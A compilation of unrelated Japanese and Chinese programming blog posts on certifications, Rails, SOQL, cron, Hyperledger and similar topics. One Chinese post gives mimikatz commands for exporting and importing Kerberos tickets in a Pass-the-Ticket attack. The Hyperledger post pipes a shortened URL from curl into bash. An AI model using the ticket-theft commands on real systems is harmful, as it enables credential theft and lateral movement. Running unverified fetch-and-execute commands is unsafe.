Linux系の案件を取り組みたいので、基本を学ぶために学習・受験しました。
※LPIC Level1は新入社員の研修で取得してます。

<h1>勉強方法</h1>
まず、定番の「<a href=https://ping-t.com/>Ping-t</a>」です。
ただし、有料コンテンツ(￥2400/月)となるため、1カ月のみの利用しました。

「1カ月」という期間は、
1. そもそも無駄な出費を避けたい
2. ダラダラやるより短期集中
3. 新入社員のころ、LPIC level1は2週間で取れたのだから、1カ月は十分な時間
と判断して決めました。

もうひとつは、所謂「<a href=https://www.amazon.co.jp/dp/B071JQZ6N5/ref=dp-kindle-redirect?_encoding=UTF8&btkr=1/>赤本</a>」です。
これは新入社員時代、次の目標として購入したのですが、結局着手できず棚の隅に置いてありました。

進め方は、
1. 1日1単元を目安に進める
2. 赤本を流し読み→Ping-tで問題を解く→間違えた部分のリトライ&実機で操作する

<h1>結果</h1>
まず、2020.10.16に201受験。結果、
<b>「合格」</b>

続いて、2020.11.03に202受験。結果、
<b>「合格」</b>

![linuc2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/639874/08dc96fa-6e4e-f18a-e048-bc1af94f27c1.png)

受験してみた感想は、
・過去LPICを受験した時より、問題文がわかりやすかった
→LinuCは日本市場特化したもので、作成元が日本？LPICは世界基準であり、英文がベースなので直訳の誤訳問題が発生しやすい
・赤本やPing-tで確認できていないオプションが多く出題された。
→基本的に消去法で回答
・合格にはPing-tで十分
・案件で経験のあるもの(DNS,ストレージ系,ネットワーク系)は、いい点数とは言えないものの、安定して解答できている。
→実際に構築してみることが一番良い

項目ごとの正答率です。

<table>
<tr><th>No.</th> <th>項目</th> <th>正答率(%)</th></tr>
<tr><th>200</th> <th>キャパシティプランニング</th> <th>75</th></tr>
<tr><th>201</th> <th>Linuxカーネル</th> <th>77</th></tr>
<tr><th>202</th> <th>システムの起動</th> <th>77</th></tr>
<tr><th>203</th> <th>ファイルシステムとデバイス</th> <th>100</th></tr>　
<tr><th>204</th> <th>高度なストレージ管理</th> <th>100</th></tr>
<tr><th>205</th> <th>ネットワーク構成</th> <th>81</th></tr>
<tr><th>206</th> <th>システムの保守</th> <th>66</th></tr>
<tr><th>207</th> <th>ドメインネームサーバ</th> <th>87</th></tr>
<tr><th>208</th> <th>HTTPサービス</th> <th>72</th></tr>
<tr><th>209</th> <th>ファイル共有</th> <th>75</th></tr>
<tr><th>210</th> <th>ネットワーククライアントの管理</th> <th>72</th></tr>
<tr><th>211</th> <th>電子メールサービス</th> <th>37</th></tr>
<tr><th>212</th> <th>システムのセキュリティ</th> <th>57</th></tr>
</table>



<h1>おわりに</h1>
とりあえずストレート合格できてよかったです。
ただ、一つ問題があります。それはlevel1が失効(Inactive)されており、正式にlevel2の認定が下りていません。
![inactive.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/639874/5ba5999b-3501-ea12-2b5e-2efb00619c65.png)

由々しき事態です。
ただ、level2相当の実力があることは証明されましたので、そのうち再取得しようと思います。

次は<a href=https://docs.microsoft.com/ja-jp/learn/certifications/exams/az-104>Microsoft Azure Administrator</a>を検討しています。
無料のコンテンツ(<a href=https://docs.microsoft.com/ja-jp/learn/azure/>AZURE 向け MICROSOFT LEARN</a>)もあるみたいですし、何よりAWS以外のクラウド技術に触れておくことも、これからのキャリアプランでは必須なので。
Scratchで湯婆婆を実装してみる

#初めに
元ネタ様：[Javaで湯婆婆を実装してみる](https://qiita.com/Nemesis/items/c7192a7c510788d2cba2)

友人に脅されて作成しました
[Scratchをウェブ上実行できるやつ](https://scratch.mit.edu/projects/editor/?tutorial=getStarted)で作成、実行しました
#コード
![ScratchYubaba.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/320969/df1608e1-27de-105a-836b-68381d3d3450.png)


#実行例
![2020-11-11 10.34.46 scratch.mit.edu 05481ba2026d.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/320969/da964295-b0ca-8bb2-2919-01c9f1e3aeb9.png)
![2020-11-11 10.35.25 scratch.mit.edu 1bebb18792af.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/320969/e3ba16cb-db90-b800-4361-477231e05b82.png)
![2020-11-11 10.35.02 scratch.mit.edu 0816e1a96eb6.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/320969/3c6c1920-c0c5-25bc-b1e0-fd3a443f5c49.png)

#終わりに
なんで作ったのだろう

他の作成した湯婆婆
[Luaで湯婆婆を実装してみる](https://qiita.com/Marcelo0125/items/902cee28ec2163b7e884)
【Rails/ActiveRecord】createとcreate!の違いについて

# 概要

新規レコードを作成するActiveRecordメソッド``create``について。
``create``と``create!``の違いについて学んだので解説します。

<br>

# 結論 : 例外を発生させるかどうか

``!``の有り無しで何が違うのか。
``結論「例外を発生させるかどうか」``です。

とはいえ「例外」というのもわかりにくいですよね。
あくまで実際に起こる違いで説明すると、``!``の有り無しで変わるのは、処理に失敗した時に``「あの赤い画面がでるかでないか」``です。

<br>

## ``create!``の場合

``create!``にした場合、バリデーションに引っかかると、下記のようにActiveRecord::RecordInvalid例外が発生し、おなじみの画面が表示されます。

![domo](https://gyazo.com/f173d45a56ba8d27b43c4820effab48f/raw)

実際の動作を追ってみましょう。

今回用いたコードは次の通りです（※createアクションの記述は非推奨です）。

### ① ルーティング

```app/config/routes.rb
Rails.application.routes.draw do
  root to: 'comments#index'
  resources :comments, only: [:create]
end
```

1. index.html.erbのフォームで空の値を送信
2. comments#createをリクエスト

### ② comments#createアクションを実行

```app/controllers/comments_controller.rb
class CommentsController < ApplicationController

  def index
    @comments = Comment.all.order("created_at DESC")
    @comment = Comment.new
  end

  def create
    # このcreateアクションの書き方は非推奨です。
    @comment = Comment.create!(comment_params)
    redirect_to root_path
  end

  private

  def comment_params
    params.require(:comment).permit(:text)
  end
end
```

1. ActiveRecordメソッド``create(new + save)``を読み込み
2. comment_paramsでパラメータを取得 (textカラムの値は空)
3. ``create``のsave部分でバリデーションチェック

### ③ Commentモデルでバリデーションチェック

```app/models/comment.rb
class Comment < ApplicationRecord
  validates :text, presence: true
end
```

1. textカラムに設定したvalidationに引っかかる
2. 保存できないので、例外発生
3. あの赤い画面が表示される

### ✔ 以上の流れを追ったGIF

しっかりエラー画面が表示されました。

![demo](https://gyazo.com/e870c84117f2c3851fd0d0de4d0b1601/raw)

<br>

## ``!``なしの場合

下記のcreateアクションに対して、フォームを送信します。

```app/controllers/comments_controller.rb
def create
  @comment = Comment.create(comment_params) # ! を除外
  redirect_to root_path
end
```

### ✔ この場合の動作の様子（GIF）

例外処理によるエラー画面発生が起こらず、リダイレクトされます。

![demo](https://gyazo.com/5cade96f8814679842ee19c775804b85/raw)

<br>

# まとめ

* ``create!``の``!``は例外を発生させる記述
* 今回のケースではActiveRecord::RecordInvalid例外を発生させてエラー画面遷移
* ``!``がない場合は、保存されずにそのまま次のリダイレクトが実行される

<br>

## 参考
* <a href="https://railsguides.jp/active_record_querying.html#find-or-create-by-bang">Railsガイド | ActiveRecordクエリインターフェイス</a>
* <a href="https://github.com/keisukesaito7/create-app-1">Github 自作したコード(create-app-1)</a>
3分アジャイル かんばん

- トヨタ発
- ５０年以上前
- エンジニアリングプロセスの最適化
- 最小限の在庫

---

![Toyota-Kanban-640x400-c-default.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/47327/04c3581b-c174-a5fd-c0f1-3ebe18983eab.jpeg)

---

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/47327/571a939f-5a61-05b3-9a9c-6277982566a6.png)

---
## WIPの制限[^3]


- 同時作業数を制限
- マルチタスクによるスイッチングコスト（タスクの切替時のオーバーヘッド）
- InProgress + Reviewでの制限
- チームでの制限。個人での制限。

---
## デイリー

- 開発チームがスプリントゴールを達成するために、私が昨日やったことは何か？
- 開発チームがスプリントゴールを達成するために、私が今日やることは何か？
- 私や開発チームがスプリントゴールを達成する上で、障害となる物を目撃したか？

---

参照
https://www.thedigitaltransformationpeople.com/wp-content/uploads/2018/09/Toyota-Kanban-640x400-c-default.jpg

https://www.atlassian.com/ja/agile/kanban

[^3]: https://www.atlassian.com/ja/agile/kanban/wip-limits
Google Workspace(G Suite)のログが消えないように対処する

# 背景
ものにもよるが、基本的にGoogle Workspace(G Suite)の監査ログは6ヶ月で消える。
https://support.google.com/a/answer/7061566?hl=ja
ログを長期間保存しておかないといけない場合、対処が必要。

# やりたいこと
Google Workspace(G Suite)のログが失われないよう、どこかに退避したい。例えばBigQuery。

# 選択肢

* Google Workspaceの機能として用意されている、`Google BigQueryへのエクスポート`機能を利用する。
    * https://support.google.com/a/answer/9079365?hl=ja
    * **使えるエディションに制限あり**
        * EnterpriseまたはEnterprise for Education
* Google WorkspaceとGCPを連携させ、`Google Workspace 監査ログをCloud Loggingへエクスポートする`機能を利用する。
    * https://cloud.google.com/logging/docs/audit/gsuite-audit-logging
    * 組織レベルでの監査ログという扱いになる
    * 全てのログではなく、現在は以下[3つ](https://cloud.google.com/logging/docs/audit/configure-gsuite-audit-logs#audit_logs)。
        * Google Workspace 管理監査
        * Google Workspace ログイン監査
        * Google Workspace Enterprise グループ監査
    * Cloud Loggingから先はエクスポート機能でBigQueryに退避してもいいし、保持期間を延ばしても良い。

* 自前で対処プログラムを実装する
    * Google WorkspaceのReports APIを利用してログを取得し、好きなところへ書き込む。

# 利用例

Cloud Loggingへエクスポートする機能を使ってみたのでイメージをメモ。

手順は公式ドキュメントのまま。
https://cloud.google.com/logging/docs/audit/configure-gsuite-audit-logs

## イメージ

`管理コンソール - アカウント設定 - 法とコンプライアンス` で、GCPの共有を有効にする。
![スクリーンショット 2020-11-10 16.57.27.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/175280/a37c13b6-17b5-bccc-359d-189d4cb067bf.png)

組織のログが見えるようにIAMを設定する。
![スクリーンショット 2020-11-11 10.11.16.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/175280/5d361607-4544-111b-487e-c88eafa8bfc8.png)

ログアウトしたりログイン成功したりすると、Cloud Loggingに出てくる。
![スクリーンショット 2020-11-11 10.10.15.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/175280/f86414a3-67de-e6c4-88e2-f870628f8816.png)
関連のないオブジェクトに対するSOQLクエリ

すぐに思いつかないように思ったので記録しておきます。

SOQL query on non-related objects
https://trailblazers.salesforce.com/answers?id=9064S000000DKGgQAO

#質問内容

オブジェクトB: 親は取引先オブジェクト(例えば商談）
オブジェクトc: 親は取引先オブジェクト(例えば取引先責任者)

BとCには直接的なリレーションはない。

という関係がある時に
オブジェクトBから、単一のSOQLクエリでアカウントを使用してオブジェクトCのフィールド（名前など）を検索したい。


#回答内容


Select Name, (Select Name from **Opportunities**), (Select Name from **Contacts**) from Account Order By Name ASC


このクエリでは、**太字のテキスト**は、オブジェクト名自体ではなく、子リレーションシップの名前を参照しています。
TGS_REQ & TGS_REP所存在的安全问题

# Pass The Ticket
两个步骤全是通过AS_REQ拿到的票据进行验证，那么完全可以只用这张票据来进行横向。

mimikatz使用

```
sekurlsa::tickets /export  // 导出本机票据
kerberos::list  // 查看本机票据
kerberos::purge  // 清除本机所有票据
kerberos::ptt c:\[0;86e204]-2-0-60a00000-Administrator@krbtgt-TEST.LOCAL.kirbi  // 导入票据
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/1019daf4-2de4-474a-5b69-b19e335019bd.png)

这里需要注意：我当前是win7普通本地管理员用户，mimikatz是用管理员权限起来的，那么在普通权限的cmd中klist是看不到mimikatz导入的票据的。踩了个大坑。

# 白银票据
放到后面和黄金票据一起说。

# 后文
因为没有搭建好委派的环境，而且理解的非常不透彻，所以下面的几部分都拖一拖。

1. kerberosting
2. 非约束委派
3. 约束委派
4. 基于资源的约束委派攻击
UiPathでDataTableを複数OR条件で抽出する方法

# 環境
- UiPath

# 対象
- UiPathでDataTableを複数OR条件で抽出したい人

# 方法
■全体の配置は今回このようにしています
![スクリーンショット 2020-11-11 094335.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/120520/06d16c47-8918-64bb-8ea1-97bfd962aeb6.png)
 ※使った変数はこれ
![スクリーンショット 2020-11-11 095655.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/120520/d67c0edc-89f8-3772-2c32-0c6421dc2f30.png)

■データテーブルの中身はこんな感じです
![スクリーンショット 2020-11-11 094426.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/120520/cb3401bf-5782-87e4-5837-5a881b5d2d91.png)

■検索したい条件はList型で設定してください
・今回は101と401を抽出条件にしました
![スクリーンショット 2020-11-11 094506.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/120520/ab70b20a-b825-b84a-d773-5fb5adb4f952.png)

■今回の要の部分ですがLINQというものを使って抽出しています
・簡単な解説ですがContainsメソッドが指定の文字列がIDの列にあるか見ています
![スクリーンショット 2020-11-11 094620.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/120520/dce9ea4d-55e5-042f-4e2c-e6a9fc74f877.png)
※Eor EachのTypeArgumentはDataRow型にしてください

■出力結果はこんな感じです
![スクリーンショット 2020-11-11 100914.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/120520/633d6167-2563-1722-3556-8ee74239af44.png)
【C#】UWPで有効なアダプタがWi-FiかSIMか判断する

UWPで利用される有効なネットワークアダプタがWi-Fiなのか、SIMなのかを判断するにはNetworkInformationクラスのGetInternetConnectionProfile()を利用する。
有効になっているネットワークアダプタの種類を判別するだけなので、それがインターネットに接続されているかは別問題となる。

同じように、どのような接続状態になっているかはGetNetworkConnectivityLevel()を利用して判断する。
NetworkConnectivityLevelは以下の種類がある。

|NetworkConnectivityLevel|内容|
|---|---|
|None|なし|
|LocalAccess|ローカル接続|
|ConstrainedInternetAccess|制限されたインターネット接続|
|InternetAccess|ローカルおよびインターネット接続|


```cs
var profile = Windows.Networking.Connectivity.NetworkInformation.GetInternetConnectionProfile();
if (profile != null && profile.IsWlanConnectionProfile)
{
    // Wi-Fiアダプタが有効
}
else if (profile != null && profile.IsWwanConnectionProfile)
{
    // SIMアダプタが有効
}

if (profile.GetNetworkConnectivityLevel() == NetworkConnectivityLevel.InternetAccess)
{
    // 接続中
}
```
[Blockchain]Hyperledger Fabricを試す(構築編)

## 背景

数年前、「ブロックチェーン」という技術があることを知り、
弊社内の有志数名でイーサリアム(Ethereum)の環境を構築し、
実際にマイニングやコインの受け渡しなど試したことがあります。

ただ、当時は特に目的があったわけではなく、
「新技術に触れてみよう」
という漠然な目的で動き始めたため、触れただけで終わりました。

そして最近になり、ブロックチェーンが金融業界だけではなく
エンターブライズ方面でも利用されているというニュースを
よく見聞きするようになり、改めてブロックチェーンに触れてみることになりました。

また、今回は弊社内で「要員管理」にブロックチェーン技術が利用できないか？
という思いもあり、「ブロックチェーンで要員管理を行う」ことを目的として活動を開始しました。

## なぜ要員管理？

要員情報は個人情報の塊です。

この情報を改ざんに強く、強固なセキュリティに守られたブロックチェーンネットワーク内で
管理することで、正しく要員の情報を管理できないかという発想がありました。

例えばですが、とある要員が、
過去どのような案件に携わっていたのか、
どんな資格を保有しているのか、
これらの情報を勝手に書き換えられることがなく、一元管理できることが必要でした。

もちろん、RDPを使用したシステムの構築も考えられますが、それでは目新しさがありません。
どうせなら新しい技術で実装することが可能か、そんな思いが強く、
ブロックチェーンでの検証を行いました。

## 使用したブロックチェーン

ブロックチェーンというと、すぐにビットコインのようなコインといった「価値」の管理を
イメージしますが、最近ではタクシーの配車であったりと、利用範囲が広がっており、
それらを調べていくうちに「Hyperledger Fabric」を知りました。
「HyperLedger Fabric」にはサンプルネットワークとして「fabcar」というものが
用意されており、名前の通り「車両情報管理」をテーマにしたサンプルネットワークでした。
この「車両情報」を「要員情報」に置き換えれば要員管理に利用できるのでは？と考え、
今回利用するブロックチェーンは「Hyperledger Fabric」としました。

## 構築手順

構築はかなり苦戦しました．．．
様々なサイトを参考にし、試し、失敗し．．．の繰り返し。
その結果、以下の手順で構築できるというゴールに辿り着きました。

### 事前準備
```
$ sudo apt update
```

### docker

```
$ sudo apt install -y docker.io
$ docker --version
Docker version 19.03.6, build 369ce74a3c
$ sudo gpasswd -a comjo docker
Adding user comjo to group docker
$ id comjo
uid=1001(comjo) gid=1001(comjo) groups=1001(comjo),27(sudo),130(docker)
$ exit

再ログイン
```



### docker-compose

```
$ sudo apt install -y docker-compose
$ docker-compose --version
docker-compose version 1.17.1, build unknown
```



### nodejs

```
$ sudo apt install -y nodejs npm
$ sudo npm install n -g
$ sudo n 8.9.0
$ n ls
node/8.9.0
$ sudo apt purge -y nodejs npm
$ exec $SHELL -l
$ node -v
v8.9.0
```



### go

```
$ sudo apt install -y golang-go
$ go version
go version go1.10.4 linux/amd64
```



### python

```
$ python -V
Python 2.7.17
```



### hyperledger-fabric

```
$ curl -sSL http://bit.ly/2ysbOFE | bash -s 1.4.4

$ docker ps --format "table{{.Names}}"
NAMES
dev-peer0.org2.example.com-fabcar-1.0
dev-peer0.org1.example.com-fabcar-1.0
cli
peer1.org1.example.com
peer0.org2.example.com
peer1.org2.example.com
peer0.org1.example.com
couchdb3
couchdb1
ca_peerOrg2
couchdb2
couchdb0
orderer.example.com
ca_peerOrg1
```

## おわりに

情けないことに、インストールしたOSSが何に使用されているのか等、
Hyperledger Fabricの内部構造まで理解できているわけではありません。
各種コンテナについても大枠の用途は理解できましたがコンテナ設定を
カスタマイズし独自の構成にするといった理解には達せませんでした。
が、まずはHyperledger Fabricに触れて見る環境を構築するという
目的は達することができました。

次回は検証編として、用意されているサンプルネットワークを実際に動かしてみます。
footerがdivの子要素になってしまう

## 起きたこと
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/693815/e968afaf-a1db-14b0-4c21-9059f46fd5f8.png)
なぜかapplication.html.erbに設定したfooterがdivタグの子要素となり、display: flex;などを行った時に一緒に動いてしまう。

## 原因
divの閉じタグの個数があっていなかった。
divタグは数があっていない時でもエラーは起きないということがわかった。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/693815/46768cd9-e20e-12a3-d0ba-860eae1ae379.png)

以上
API から返却される JSON オブジェクト（連想配列）に順番を期待してはいけない

# 起こったこと

js で API に問合せして JSON オブジェクトを受け取り、受け取った内容を `<li>...</li>` で表示させる処理を実装しようとしていました。

API からは以下のようにキーが数値になっている JSON が返却されます。

```.json
{
    59: {"name": "Tシャツ", "category": 5, "price": 3000},
    24: {"name": "ジャケット", "category": 12, "price": 12000},
    75: {"name": "デニム", "category": 18, "price": 5000}
}
```

このとき、サーバー（PHP）で持っている連想配列の並び順のまま返却されると思っていました。

しかし返却された JSON を見ると以下のように順序が変わっていました。

```.json
{
    24: {"name": "ジャケット", "category": 12, "price": 12000},
    59: {"name": "Tシャツ", "category": 5, "price": 3000},
    75: {"name": "デニム", "category": 18, "price": 5000}
}
```

# 順番が変わる理由

下記のページが参考になりました。

https://teratail.com/questions/27391

言語の仕様によっては例外もあるようですが、JSON に限らず**キー、バリューで表現されるデータ形式は順番を保証しない**と考えるのがベターようです。

これはよく考えれば当たり前のことかもしれません。

配列の値にアクセスする場合は「X番目の値をください」と言って値を受け取るため、順番が非常に重要な要素となりますが、連想配列（JSON オブジェクト、ハッシュ、マップ、ディクショナリー...）は値を取り出すためのキーを自分で決めているため、順番がバラバラになっても本来問題ないはずです。

とはいえ、API から返却される JSON の順番がわざわざ変わるとは思っていなかったため、気づくまでに時間がかかりました。。
【メモ】  VScode 自動補完便利機能

#HTML自動補完
-  #container →idで自動補完される

-  .cls　→classで自動補完される

-  span.cls →span要素にclassがつく

-  #container>.cls →div idの中にdiv class

-  #container>.cls *6 →div idの中にdiv class６つ

-  #container>.cls-$*6 →div idの中にdiv class６つ + 1~6までの数字がつく

-  #container>.cls-$$*6 →div idの中にdiv class６つ + 01~06までの数字がつく
【C#】EntityFramework.Coreでトランザクションを利用しない

どこかで備忘録的に残してたはずなのに失くしたので、再度書き溜めておく。

過去経験として、こんなことがあった。

 - 既存フロントがaccdb。
 - DBがaccdb。
 - 新たにUWPアプリを構築する。
 - UWPはSQLServerのリンクサーバーによりaccdbを操作可能にする。

これで何も考えないでEntityFramework.Coreを使ってSaveChanges()すると、利用されるDBはあくまでACCESSファイルのため、トランザクション発行が正しく行えずエラーになる。

それを回避するために、下記をコードすることで、DbContext.SaveChanges()でトランザクションを利用しないようにする。
accdbを操作するDbContextクラス内のコンストラクタとかに記述すればいい。

```cs
Database.AutoTransactionsEnabled = false;
```
【メモ】 HTML・CSS　インライン要素＆ブロック要素違い

# ブロック要素
    <div>など
    すべて縦並び
    横幅、縦幅の指定ができる
    margin: 0 auto
    →中央揃えになる
    
# インライン要素
    <span>など
    全て横並び
    横幅、縦幅の指定ができない
    display: block
    →ブロック要素のような振る舞いが可能になる
    display: inline-block
    →高さは指定されるが、横並び
    text-align: center
    →親のタグにつける

一番簡単な見分け方
→並べてみて、横並びになればインライン要素　縦並びになればブロック要素
【営業向け】マクロの実行速度を100倍ぐらい早くできたので忘備録

#やりたいこと＆その理由

以前、以下の記事で、SF用の取り込み用フォーマットに整形するスクリプトを作成したが、とにかく処理が遅く、処理中にネットフリックスを見て暇つぶししていたぐらいなので、このプログラムを高速にできないか、っと思っていた。

[【営業向け】スプレッドシートに記録した行動管理シートをSFの取り込み用フォーマットに整形する](https://qiita.com/hirokobe26/items/bd70ef5ed2b5a645fa81)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/271600/6b77ef40-61d1-4456-8b83-61c685fa2285.png)

↑これを↓こんな感じに整形するマクロなのだが、色々模索した結果100倍ぐらい早くできました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/271600/10b3b6c8-4946-1664-fa53-fb12604da271.png)




#実装方法
１：　対象のスプレッドシートを取得
２：　取得したいシートの名前を指定して取得
３：　2で取得したシートにある情報をまとめて取得
４：　3でまとめて取得した情報を繰り返し処理を利用して配列を生成
５：　setValuesでまとめて出力


#完成系
ということで、完成形は以下。

```gas.js
function SalesforceImportMacro(){
  const SpreadSheet    = SpreadsheetApp.openById("スプレッドシートID");
  var caldListSheet    = SpreadSheet.getSheetByName("コールドコールリスト");
  var caldListForMacro = SpreadSheet.getSheetByName("出力先シート");
  var ownerId          = "SFオーナーId";
  var lastRow          = caldListSheet.getLastRow();
  
  var data             = caldListSheet.getDataRange().getValues();
  var arrForMacro      = [];
  
  for(i = 1; i <= lastRow - 1; i++){
    var columnNum  = 0;
    for(num = 1; num <= 7; num++){
      var check = data[i][9 + columnNum];
      if(check == ""){
        break;
      }else{
        arrForMacro.push([data[i][0],data[i][12 + columnNum],data[i][13 + columnNum],data[i][9 + columnNum],data[i][15 + columnNum],ownerId]);
        columnNum += 8;
      }
    }
  }
  
  
  caldListForMacro.getRange(2,1,tenkisaki.length,6).setValues(arrForMacro);
  
}
```

#改善点

アルゴリズムの改善も行い、メソッドを呼ぶ量をできるだけ少なくしたが、一番はsetValues()がとにかく優秀すぎるw
今まではappendRow()をfor分の中で何回も呼ぶことで最終行にデータを挿入していたが、setValues()の引数に、配列を渡してあげるとまとめてデータをセットしてくれるので、速度は100倍以上速く、しかもコードの量を短くすることができた。

```
  var arrForMacro      = [];
  
  for(i = 1; i <= lastRow - 1; i++){
    var columnNum  = 0;
    for(num = 1; num <= 7; num++){
      var check = data[i][9 + columnNum];
      if(check == ""){
        break;
      }else{
        arrForMacro.push([data[i][0],data[i][12 + columnNum],data[i][13 + columnNum],data[i][9 + columnNum],data[i][15 + columnNum],ownerId]);
        columnNum += 8;
      }
    }
  }
  
  
  caldListForMacro.getRange(2,1,tenkisaki.length,6).setValues(arrForMacro);
```


プログラムはただ動けばいいと思っていたが、アルゴリズムを改善して、必要最低限のコード量にするとこんなに早くなるのかと実感。
データ構造とアルゴリズムをまじめに学びたいな。
【初心者向け（中級者以上も挑戦！）】目指せブラインドタッチの神。タイピング練習ができるサイト6選

# どうも7noteです。タイピングはベネッセのやつで5分間約900文字くらいです。

どうも7noteです。
この記事は以下へ引っ越しました。

https://naruweb.com/technique/typing/
AmazonLinuxでcron実行させる(Linuxで設定)

## やること
AmazonLinuxで、cron設定をして、AWSコマンドを実行させます。
前提としてそのコマンドのIAM RoleがEC2に対して必要です。
今回は詳しい内容までは書きません。

## OS
Linux/Unix, Amazon Linux 2018.03

```
#cat /etc/os-release
NAME="Amazon Linux AMI"
VERSION="2017.09"
.
.
```

## cronファイルの書き方

```
# cat /etc/crontab

SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
```

こちらを参考にしました。
https://kb.iu.edu/d/afiz


## 実行させるファイルを作成
東京のEC2 Arnリストを出力するAWSコマンドを実行させてみる

```
!/bin/sh
/usr/bin/aws ec2 describe-instances --region ap-northeast-1 |grep Arn |awk -F \" '{print $4}' >> /root/ec2-file
```

ここで必ず、ファイルの実行を試してエラーにならないかチェックしておく

## cron設定する

**crontab -e**で編集
動作テストしたいので毎分実行させておく

```
* * * * * bash /root/awscron
```

**設定完了**


## ログ確認

```
tail -f /var/log/cron
```
で実行ログが確認できる

## 設定削除
要らなくなったら、設定の削除お忘れなく
**crontab -r**で設定削除

※
-r はcrontab -eで設定したもの全てを削除してしまうので、もう運用してるものであれば
-e でコメントアウトでOKです

## Tips
crontab -eをrootユーザで行うと、/var/spool/cron/rootが編集される
そのため、この場合従来通りにユーザ指定は不要。


## crontabによる編集ではない方法
上記の通り、オペミスするとcronファイルが消えたりするので、crontabを使用しない方法を記載

cron設定用のファイルは、/etc/cron.d/以下にファイルを作成する

例えば
/etc/cron.d/Crontest

```
* * * * * root sh /root/awscron
```

※ユーザ指定可能
これで、実行されていれば完了。
デフォルトで /var/spool/mail/rootに実行過程のログが吐き出される。



## まとめ
今回はシンプルに設定することだけを記載しました。
今後もっと詳しくまとめてみます。


### 他、参考にしたサイト

cron - wikipedia
https://en.wikipedia.org/wiki/Cron


crontab -r の危険性
https://qiita.com/NACK/items/c0c0feda4e7a8030346f
Vueで技術系アイコンを使いたい！【DEVICON】

# Vue.jsでDEVICONのアイコンを使いたい

[DEVICON](https://devicon.dev/)は技術系のアイコンをアイコンフォントとして配布しているサイトでプログラミング言語のロゴなどが豊富に用意されています。以前投稿した [こちらの記事](https://zenn.dev/ryuu/articles/8f7513d83f05c77d06a3)でも使用しました。

今回はVue CLIを使い作成したサイト内でアイコンを使おうとした際に少しハマったのでアイコンの導入方法をメモとして残しておきます。

# npmでインストールできそう

![Devicon v2 npmページの画像](https://storage.googleapis.com/zenn-user-upload/xsxld7fv2za6nbhn4g0wqae9oaej)

# 説明のとおりにインストールしてみる

ターミナルから以下のコマンドでインストール。

```shell
npm i devicon
```

アイコンを表示させるためテンプレート内に以下のタグを入れてみる。

```html:hello.vue
<i class="devicon-vuejs-plain"></i>
```

しかし、これだけでは表示されませんでした。

# どうやって使えばいいの？

npmのページを翻訳したりしてみたり、Googleで使い方について検索してみましたが、解決策を書いてあるページは見当たらなくてハマりました。初めてnpmを使って開発したので知識不足な部分もあるのかなとindex.jsやApp.vueファイルの中で試行錯誤した結果、時間はかかりましたが導入に成功しました。

# 解決策

App.vueで以下のように記述。

```js:App.vue
import "devicon";
```

![Vue.jsロゴアイコンの表示に成功した様子](https://storage.googleapis.com/zenn-user-upload/89tf7egm2ucsgktxunx1sza6n2op)

App.vueの中に上の一文を追加したところ、うまく表示してくれました。
アイコンフォントをnpmで使ったことがなかったためかなりの時間ハマってしまいました。他のCSSファイルと読み込み方が異なったので少しわかりにくいと感じました。
このあとindex.htmlの中にリンクタグを直接記述しCDNから読み込むのも試したところできました。

今回導入するにあたってnpmとvueの理解がまだまだ足りないなと感じました。npmを使うならば使うべきではない言葉なので修正してくださいなテクニックのため情報がなかったとかでしょうか。もっと掘り下げて調べてみる必要がありそうです。npmでDEVICONのアイコンを導入してる記事や情報がなかったので備忘録として残しておきます。同じようにハマっている人の参考になれば幸いです。

最後まで読んでいただきありがとうございました。
AccessVBA TIPS　

##オブジェクトの操作
###クエリの実行
```
        't_hogeテーブルを削除
        DoCmd.RunSQL "DELETE * FROM t_hoge"
　　　　
        '追加・更新・削除　クエリ実行　
　　　　DoCmd.OpenQuery "QD_hogehoge"
　　　
　　　　' テーブルを開く
　　　　DoCmd.OpenTable "テーブル名", acViewNormal, acEdit
       
       '閉じる 
　　　　DoCmd.Close acQuery, "Q_Name", acSaveYes
　　　　DoCmd.Close acTable, "テーブル名", acSaveYes
　　　　
```


##フォルダ内のテキストファイルをすべてインポートする

```
        Dim MyPath As String
        Dim MyFile As String
        Dim MyName As String

        '【データ保存先バスの設定】
        MyPath = "D:\foldername\"

        '【hogeで始まる拡張子txtのファイルのみ取得】
        MyFile = MyPath & "hoge*.txt"

        MyName = Dir(MyFile, vbNormal)

        'フォルダ内のすべてのプラネットファイルを取り込む
        Do While MyName <> ""
            If MyName <> "." And MyName <> ".." Then
                If GetAttr(MyPath & MyName) <> vbDirectory Then
　　　　　　　　　　　'インポートの実行
                    DoCmd.TransferText acImportDelim, "インポート定義の名前", "テーブルの名前", MyPath & MyName, False, ""   
                End If
            End If
            MyName = Dir
        Loop
```
####Excelをインポート
```
